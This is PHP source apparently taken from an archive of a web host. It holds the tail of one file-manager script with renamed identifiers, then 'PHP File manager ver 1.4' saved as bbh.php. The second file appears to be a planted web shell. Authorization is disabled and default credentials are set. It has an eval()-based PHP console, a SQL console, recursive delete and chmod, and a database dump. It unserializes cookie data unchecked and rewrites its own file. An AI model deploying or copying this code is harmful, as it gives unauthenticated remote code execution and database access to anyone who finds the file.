            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'sympathizing';      $tr['en']['AppTitle']           = 'sympathizing';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>shawwa/bbh.php000064400000233065147510273060007320 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration    do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
// end configuration
/*2e3300cd40ea092e5eeb579abe01e85a*/
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size    maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').'    '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
